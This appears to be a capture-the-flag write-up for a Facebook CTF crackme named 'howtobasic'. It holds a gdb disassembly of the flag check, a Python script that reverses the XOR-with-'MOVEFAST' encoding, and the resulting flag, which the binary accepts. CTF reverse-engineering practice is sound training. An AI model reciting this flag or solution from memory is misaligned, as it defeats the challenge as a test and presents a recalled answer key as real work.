(gdb) x/4i 0x08048486
=> 0x8048486:   mov    eax,DWORD PTR [esp+0x14]
   0x804848a:   sub    eax,0x2
   0x804848d:   cmp    eax,DWORD PTR [esp+0x1c]
   0x8048491:   ja     0x8048403
(gdb) x/xw $esp+0x14
0xffffd604:     0x00000042
(gdb) x/xw $esp+0x1c
0xffffd60c:     0x00000000
(gdb) b *0x8048403
(gdb) continue
(gdb) x/20i 0x08048403
=> 0x8048403:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0
   0x8048407:   and    eax,0x7   // eax = 0x0 
   0x804840a:   movzx  eax,BYTE PTR [eax+0x80d108c] // eax = 0x4d [0x80d108c] = "MOVEFAST"
   0x8048411:   not    eax    // eax = 0xffffffb2
   0x8048413:   mov    BYTE PTR [esp+0x1b],al  // [esp+0x1b] = 0x000000b2
   0x8048417:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0 
   0x804841b:   mov    edx,DWORD PTR [esp+0x10] // edx = 0x080d5298 [0x080d5298] = "1234567890\n"
   0x804841f:   add    eax,edx   // eax = 0x080d5298
   0x8048421:   movzx  eax,BYTE PTR [eax]  // eax = 0x31
   0x8048424:   not    eax    // eax = 0xffffffce
   0x8048426:   mov    BYTE PTR [esp+0x1a],al  // [esp+0x1a] = 0x0000b2ce
   0x804842a:   mov    edx,DWORD PTR ds:0x80d1088 // edx = 0x80b21e8 [0x80b21e8] = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t$f1(.dq\177te2.}o##%`lyy`$ x2f"
   0x8048430:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0
   0x8048434:   add    eax,edx   // eax = 0x80b21e8
   0x8048436:   movzx  edx,BYTE PTR [eax]  // edx = 0x7b
   0x8048439:   movzx  eax,BYTE PTR [esp+0x1a] // eax = 0xce
   0x804843e:   movzx  ecx,BYTE PTR [esp+0x1b] // ecx = 0xb2
   0x8048443:   xor    eax,ecx   // eax = 0x7c
   0x8048445:   cmp    dl,al   // dl != al
   0x8048447:   je     0x8048481
(gdb) x/5i 0x8048481
   0x8048481:   add    DWORD PTR [esp+0x1c],0x1
   0x8048486:   mov    eax,DWORD PTR [esp+0x14]
   0x804848a:   sub    eax,0x2
   0x804848d:   cmp    eax,DWORD PTR [esp+0x1c]
   0x8048491:   ja     0x8048403
(gdb) quit
# cat canada.py
#!/usr/bin/python

constraint = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t$f1(.dq\177te2.}o##%`lyy`$ x2f"
xorkey = "MOVEFAST"
key = ""

for i in range(len(constraint)):
        c = ord(constraint[i])
        x = ord(xorkey[i%8])
        #~k ^ ~x = c
        k = ~(c^~x)
        key += hex(k)[2:].decode("hex")
print key
# ./canada.py
60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2
# ./howtobasic
Facebook CTF
Enter flag: 60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2
Winner! Post your flag.